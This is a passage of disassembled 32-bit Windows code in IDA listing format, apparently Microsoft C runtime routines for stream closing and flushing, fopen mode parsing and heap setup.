loc_418594:				; CODE XREF: sub_418576+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_437F20
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_4185B9
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_4185C2
; ---------------------------------------------------------------------------


loc_4185B9:				; CODE XREF: sub_418576+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_4185C2:				; CODE XREF: sub_418576+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_41DA93
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4185E2
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185E2:				; CODE XREF: sub_418576+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_4185E6:				; CODE XREF: sub_418576+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_418576	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185EB	proc near		; CODE XREF: sub_415960+2Ap
					; sub_41DDF6+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_46CA60
		jnb	loc_418685
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:46C960h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_418685
		push	edi
		call	sub_41DD62
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_418664
		cmp	edi, 1
		jz	short loc_418632
		cmp	edi, 2
		jnz	short loc_418648


loc_418632:				; CODE XREF: sub_4185EB+40j
		push	2
		call	sub_41DD62
		push	1
		mov	ebp, eax
		call	sub_41DD62
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_418664


loc_418648:				; CODE XREF: sub_4185EB+45j
		push	edi
		call	sub_41DD62
		pop	ecx
		push	eax
		call	dword_42106C	; CloseHandle
		test	eax, eax
		jnz	short loc_418664
		call	dword_421088	; RtlGetLastWin32Error
		mov	ebp, eax
		jmp	short loc_418666
; ---------------------------------------------------------------------------


loc_418664:				; CODE XREF: sub_4185EB+3Bj
					; sub_4185EB+5Bj ...
		xor	ebp, ebp


loc_418666:				; CODE XREF: sub_4185EB+77j
		push	edi
		call	sub_41DCE8
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_418681
		push	ebp
		call	sub_41CE74
		pop	ecx
		jmp	short loc_418696
; ---------------------------------------------------------------------------


loc_418681:				; CODE XREF: sub_4185EB+8Bj
		xor	eax, eax
		jmp	short loc_418699
; ---------------------------------------------------------------------------


loc_418685:				; CODE XREF: sub_4185EB+Ej
					; sub_4185EB+2Fj
		and	dword_46B638, 0
		mov	dword_46B634, 9


loc_418696:				; CODE XREF: sub_4185EB+94j
		or	eax, 0FFFFFFFFh


loc_418699:				; CODE XREF: sub_4185EB+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4185EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41869E	proc near		; CODE XREF: sub_415960+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_4186C7
		test	al, 8
		jz	short loc_4186C7
		push	dword ptr [esi+8]
		call	sub_415C9B
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_4186C7:				; CODE XREF: sub_41869E+Aj
					; sub_41869E+Ej
		pop	esi
		retn
sub_41869E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186C9	proc near		; CODE XREF: sub_418769+2Dp
					; sub_418769+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_4186DB
		push	esi
		call	sub_418769
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4186DB:				; CODE XREF: sub_4186C9+7j
		push	esi
		call	sub_418704
		test	eax, eax
		pop	ecx
		jz	short loc_4186EB
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4186EB:				; CODE XREF: sub_4186C9+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_418700
		push	dword ptr [esi+10h]
		call	sub_41DD9F
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_418700:				; CODE XREF: sub_4186C9+26j
		xor	eax, eax
		pop	esi
		retn
sub_4186C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_418704	proc near		; CODE XREF: sub_415960+1Ap
					; sub_416CDE+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_418751
		test	ax, 108h
		jz	short loc_418751
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_418751
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_41CCC7
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41874A
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_418751
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_418751
; ---------------------------------------------------------------------------


loc_41874A:				; CODE XREF: sub_418704+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_418751:				; CODE XREF: sub_418704+14j
					; sub_418704+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_418704	endp


; =============== S U B	R O U T	I N E =======================================



sub_418760	proc near		; CODE XREF: sub_41DA17p
		push	1
		call	sub_418769
		pop	ecx
		retn
sub_418760	endp


; =============== S U B	R O U T	I N E =======================================



sub_418769	proc near		; CODE XREF: sub_4186C9+Ap
					; sub_418760+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_46C940, esi
		jle	short loc_4187C7


loc_41877A:				; CODE XREF: sub_418769+5Cj
		mov	eax, dword_46B928
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_4187BE
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_4187BE
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_4187A4
		push	eax
		call	sub_4186C9
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4187BE
		inc	ebx
		jmp	short loc_4187BE
; ---------------------------------------------------------------------------


loc_4187A4:				; CODE XREF: sub_418769+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_4187BE
		test	cl, 2
		jz	short loc_4187BE
		push	eax
		call	sub_4186C9
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_4187BE
		or	edi, eax


loc_4187BE:				; CODE XREF: sub_418769+1Bj
					; sub_418769+23j ...
		inc	esi
		cmp	esi, dword_46C940
		jl	short loc_41877A


loc_4187C7:				; CODE XREF: sub_418769+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_4187D2
		mov	eax, edi


loc_4187D2:				; CODE XREF: sub_418769+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_418769	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187D6	proc near		; CODE XREF: sub_4159B6+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41D94C
		test	eax, eax
		pop	ecx
		jz	short loc_41885F
		cmp	esi, offset dword_43A658
		jnz	short loc_4187F4
		xor	eax, eax
		jmp	short loc_4187FF
; ---------------------------------------------------------------------------


loc_4187F4:				; CODE XREF: sub_4187D6+18j
		cmp	esi, offset dword_43A678
		jnz	short loc_41885F
		push	1
		pop	eax


loc_4187FF:				; CODE XREF: sub_4187D6+1Cj
		inc	dword_46B7F8
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_41885F
		cmp	dword_46B68C[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:46B68Ch[eax*4]
		mov	ebx, 1000h
		jnz	short loc_418845
		push	ebx
		call	sub_415BE9
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_418845
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_418852
; ---------------------------------------------------------------------------


loc_418845:				; CODE XREF: sub_4187D6+4Dj
					; sub_4187D6+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_418852:				; CODE XREF: sub_4187D6+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41885F:				; CODE XREF: sub_4187D6+10j
					; sub_4187D6+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_4187D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_418863	proc near		; CODE XREF: sub_4159B6+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_41888D
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_41889E
		push	esi
		call	sub_418704
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41888D:				; CODE XREF: sub_418863+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_41889E
		push	eax
		call	sub_418704
		pop	ecx


loc_41889E:				; CODE XREF: sub_418863+10j
					; sub_418863+32j
		pop	esi
		retn
sub_418863	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4188A0	proc near		; CODE XREF: sub_4159E8+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_46B800
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_4188D9
		cmp	al, 72h
		jz	short loc_4188D2
		cmp	al, 77h
		jnz	loc_4189ED
		mov	ecx, 301h
		jmp	short loc_4188DE
; ---------------------------------------------------------------------------


loc_4188D2:				; CODE XREF: sub_4188A0+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_4188E1
; ---------------------------------------------------------------------------


loc_4188D9:				; CODE XREF: sub_4188A0+1Dj
		mov	ecx, 109h


loc_4188DE:				; CODE XREF: sub_4188A0+30j
		or	esi, 2


loc_4188E1:				; CODE XREF: sub_4188A0+37j
		push	1
		pop	edx


loc_4188E4:				; CODE XREF: sub_4188A0+8Bj
					; sub_4188A0+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_4189D3
		cmp	edx, ebx
		jz	loc_4189D3
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_418972
		jz	short loc_418962
		sub	eax, 2Bh
		jz	short loc_41894C
		sub	eax, 19h
		jz	short loc_418942
		sub	eax, 0Eh
		jz	short loc_41892D
		dec	eax
		jnz	loc_4189C4
		cmp	[ebp+var_4], ebx
		jnz	loc_4189C4
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_4188E4
; ---------------------------------------------------------------------------


loc_41892D:				; CODE XREF: sub_4188A0+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_4189C4
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_4188E4
; ---------------------------------------------------------------------------


loc_418942:				; CODE XREF: sub_4188A0+6Aj
		test	cl, 40h
		jnz	short loc_4189C4
		or	ecx, 40h
		jmp	short loc_4188E4
; ---------------------------------------------------------------------------


loc_41894C:				; CODE XREF: sub_4188A0+65j
		test	cl, 2
		jnz	short loc_4189C4
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_4188E4
; ---------------------------------------------------------------------------


loc_418962:				; CODE XREF: sub_4188A0+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_4189C4
		or	ecx, eax
		jmp	loc_4188E4
; ---------------------------------------------------------------------------


loc_418972:				; CODE XREF: sub_4188A0+5Ej
		sub	eax, 62h
		jz	short loc_4189BF
		dec	eax
		jz	short loc_4189A8
		sub	eax, 0Bh
		jz	short loc_418991
		sub	eax, 6
		jnz	short loc_4189C4
		test	ch, 0C0h
		jnz	short loc_4189C4
		or	ch, 40h
		jmp	loc_4188E4
; ---------------------------------------------------------------------------


loc_418991:				; CODE XREF: sub_4188A0+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_4189C4
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_4188E4
; ---------------------------------------------------------------------------


loc_4189A8:				; CODE XREF: sub_4188A0+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_4189C4
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_4188E4
; ---------------------------------------------------------------------------


loc_4189BF:				; CODE XREF: sub_4188A0+D5j
		test	ch, 0C0h
		jz	short loc_4189CB


loc_4189C4:				; CODE XREF: sub_4188A0+72j
					; sub_4188A0+7Bj ...
		xor	edx, edx
		jmp	loc_4188E4
; ---------------------------------------------------------------------------


loc_4189CB:				; CODE XREF: sub_4188A0+122j
		or	ch, 80h
		jmp	loc_4188E4
; ---------------------------------------------------------------------------


loc_4189D3:				; CODE XREF: sub_4188A0+4Aj
					; sub_4188A0+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_41DDF6
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_4189F1


loc_4189ED:				; CODE XREF: sub_4188A0+25j
		xor	eax, eax
		jmp	short loc_418A0B
; ---------------------------------------------------------------------------


loc_4189F1:				; CODE XREF: sub_4188A0+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_46B7F8
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_418A0B:				; CODE XREF: sub_4188A0+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4188A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A10	proc near		; CODE XREF: sub_4159E8p
		mov	edx, dword_46C940
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_418A81
		mov	ebx, dword_46B928
		mov	edi, ebx


loc_418A2C:				; CODE XREF: sub_418A10+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_418A47
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_418A42
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_418A2C
		jmp	short loc_418A81
; ---------------------------------------------------------------------------


loc_418A42:				; CODE XREF: sub_418A10+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_418A6B
; ---------------------------------------------------------------------------


loc_418A47:				; CODE XREF: sub_418A10+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_415BE9
		pop	ecx
		mov	ecx, dword_46B928
		mov	[edi+ecx], eax
		mov	eax, dword_46B928
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_418A81
		mov	esi, edi


loc_418A6B:				; CODE XREF: sub_418A10+35j
		cmp	esi, ebp
		jz	short loc_418A81
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_418A81:				; CODE XREF: sub_418A10+12j
					; sub_418A10+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_418A10	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A88	proc near		; CODE XREF: sub_415BFB+1Fp
					; sub_41737F+126p ...

arg_0		= dword	ptr  4

		mov	eax, dword_46B698
		test	eax, eax
		jz	short loc_418AA0
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_418AA0
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_418AA0:				; CODE XREF: sub_418A88+7j
					; sub_418A88+12j
		xor	eax, eax
		retn
sub_418A88	endp


; =============== S U B	R O U T	I N E =======================================



sub_418AA3	proc near		; CODE XREF: sub_418AD0+136p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		call	dword_4210C8	; GetModuleHandleA
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_418ACE
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_418ACE
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_418ACE:				; CODE XREF: sub_418AA3+15j
					; sub_418AA3+1Cj
		pop	esi
		retn
sub_418AA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418AD0	proc near		; CODE XREF: sub_418C18+20p

var_122C	= byte ptr -122Ch
var_19C		= byte ptr -19Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_415B90
		lea	eax, [ebp+var_98]
		push	ebx
		push	eax
		mov	[ebp+var_98], 94h
		call	dword_42110C	; GetVersionExA
		test	eax, eax
		jz	short loc_418B13
		cmp	[ebp+var_88], 2
		jnz	short loc_418B13
		cmp	[ebp+var_94], 5
		jb	short loc_418B13
		push	1
		pop	eax
		jmp	loc_418C15
; ---------------------------------------------------------------------------


loc_418B13:				; CODE XREF: sub_418AD0+27j
					; sub_418AD0+30j ...
		lea	eax, [ebp+var_122C]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	dword_421170	; GetEnvironmentVariableA
		test	eax, eax
		jz	loc_418C02
		xor	ebx, ebx
		lea	ecx, [ebp+var_122C]
		cmp	[ebp+var_122C],	bl
		jz	short loc_418B55


loc_418B42:				; CODE XREF: sub_418AD0+83j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_418B50
		cmp	al, 7Ah
		jg	short loc_418B50
		sub	al, 20h
		mov	[ecx], al


loc_418B50:				; CODE XREF: sub_418AD0+76j
					; sub_418AD0+7Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_418B42


loc_418B55:				; CODE XREF: sub_418AD0+70j
		lea	eax, [ebp+var_122C]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_416D70
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_418B77
		lea	eax, [ebp+var_122C]
		jmp	short loc_418BC0
; ---------------------------------------------------------------------------


loc_418B77:				; CODE XREF: sub_418AD0+9Dj
		lea	eax, [ebp+var_19C]
		push	104h
		push	eax
		push	ebx
		call	dword_42107C	; GetModuleFileNameA
		cmp	[ebp+var_19C], bl
		lea	ecx, [ebp+var_19C]
		jz	short loc_418BAB


loc_418B98:				; CODE XREF: sub_418AD0+D9j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_418BA6
		cmp	al, 7Ah
		jg	short loc_418BA6
		sub	al, 20h
		mov	[ecx], al


loc_418BA6:				; CODE XREF: sub_418AD0+CCj
					; sub_418AD0+D0j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_418B98


loc_418BAB:				; CODE XREF: sub_418AD0+C6j
		lea	eax, [ebp+var_19C]
		push	eax
		lea	eax, [ebp+var_122C]
		push	eax
		call	sub_4158E0
		pop	ecx
		pop	ecx


loc_418BC0:				; CODE XREF: sub_418AD0+A5j
		cmp	eax, ebx
		jz	short loc_418C02
		push	2Ch
		push	eax
		call	sub_416F20
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_418C02
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_418BE7


loc_418BD9:				; CODE XREF: sub_418AD0+115j
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_418BE2
		mov	[ecx], bl
		jmp	short loc_418BE3
; ---------------------------------------------------------------------------


loc_418BE2:				; CODE XREF: sub_418AD0+10Cj
		inc	ecx


loc_418BE3:				; CODE XREF: sub_418AD0+110j
		cmp	[ecx], bl
		jnz	short loc_418BD9


loc_418BE7:				; CODE XREF: sub_418AD0+107j
		push	0Ah
		push	ebx
		push	eax
		call	sub_416711
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_418C15
		cmp	eax, 3
		jz	short loc_418C15
		cmp	eax, 1
		jz	short loc_418C15


loc_418C02:				; CODE XREF: sub_418AD0+5Cj
					; sub_418AD0+F2j ...
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_418AA3
		cmp	[ebp+var_4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_418C15:				; CODE XREF: sub_418AD0+3Ej
					; sub_418AD0+126j ...
		pop	ebx
		leave
		retn
sub_418AD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C18	proc near		; CODE XREF: seg001:00417B72p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	dword_421178	; HeapCreate
		test	eax, eax
		mov	dword_46CCA4, eax
		jz	short loc_418C6E
		call	sub_418AD0
		cmp	eax, 3
		mov	dword_46CCA8, eax
		jnz	short loc_418C54
		push	3F8h
		call	sub_418C75
		pop	ecx
		jmp	short loc_418C5E
; ---------------------------------------------------------------------------


loc_418C54:				; CODE XREF: sub_418C18+2Dj
		cmp	eax, 2
		jnz	short loc_418C71
		call	sub_4197BC


loc_418C5E:				; CODE XREF: sub_418C18+3Aj
		test	eax, eax
		jnz	short loc_418C71
		push	dword_46CCA4
		call	dword_421174	; HeapDestroy


loc_418C6E:				; CODE XREF: sub_418C18+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_418C71:				; CODE XREF: sub_418C18+3Fj
					; sub_418C18+48j
		push	1
		pop	eax
		retn
sub_418C18	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C75	proc near		; CODE XREF: sub_418C18+34p

arg_0		= dword	ptr  4

		push	140h
		push	0
		push	dword_46CCA4
		call	dword_42114C	; RtlAllocateHeap
		test	eax, eax
		mov	dword_46CC9C, eax
		jnz	short loc_418C92
		retn
; ---------------------------------------------------------------------------


loc_418C92:				; CODE XREF: sub_418C75+1Aj
		mov	ecx, [esp+arg_0]
		and	dword_46CC94, 0
		and	dword_46CC98, 0
		push	1
		mov	dword_46CC90, eax
		mov	dword_46CCA0, ecx
		mov	dword_46CC88, 10h
		pop	eax
		retn
sub_418C75	endp


; =============== S U B	R O U T	I N E =======================================



sub_418CBD	proc near		; CODE XREF: sub_415C9B+17p
					; sub_41737F+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_46CC98
		lea	ecx, [eax+eax*4]
		mov	eax, dword_46CC9C
		lea	ecx, [eax+ecx*4]


loc_418CCD:				; CODE XREF: sub_418CBD+26j
		cmp	eax, ecx
		jnb	short loc_418CE5
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_418CE7
		add	eax, 14h
		jmp	short loc_418CCD
; ---------------------------------------------------------------------------


loc_418CE5:				; CODE XREF: sub_418CBD+12j
		xor	eax, eax

locret_418CE7:				; CODE XREF: sub_418CBD+21j
		retn
sub_418CBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418CE8	proc near		; CODE XREF: sub_415C9B+23p
					; sub_41737F+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41900C
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_418DBE
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_418D4C
		push	3Fh
		pop	edx


loc_418D4C:				; CODE XREF: sub_418CE8+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_418DA0
		cmp	edx, 20h
		jnb	short loc_418D77
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_418D98
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_418D98
; ---------------------------------------------------------------------------


loc_418D77:				; CODE XREF: sub_418CE8+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_418D98
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_418D98:				; CODE XREF: sub_418CE8+86j
					; sub_418CE8+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_418DA3
; ---------------------------------------------------------------------------


loc_418DA0:				; CODE XREF: sub_418CE8+6Aj
		mov	ecx, [ebp+var_4]


loc_418DA3:				; CODE XREF: sub_418CE8+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_418DBE:				; CODE XREF: sub_418CE8+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_418DCC
		push	3Fh
		pop	edx


loc_418DCC:				; CODE XREF: sub_418CE8+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_418E6F
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_418DF1
		mov	ebx, esi


loc_418DF1:				; CODE XREF: sub_418CE8+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_418E03
		mov	edx, esi


loc_418E03:				; CODE XREF: sub_418CE8+117j
		cmp	ebx, edx
		jz	short loc_418E6A
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_418E52
		cmp	ebx, 20h
		jnb	short loc_418E33
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_418E52
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_418E52
; ---------------------------------------------------------------------------


loc_418E33:				; CODE XREF: sub_418CE8+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_418E52
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_418E52:				; CODE XREF: sub_418CE8+128j
					; sub_418CE8+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
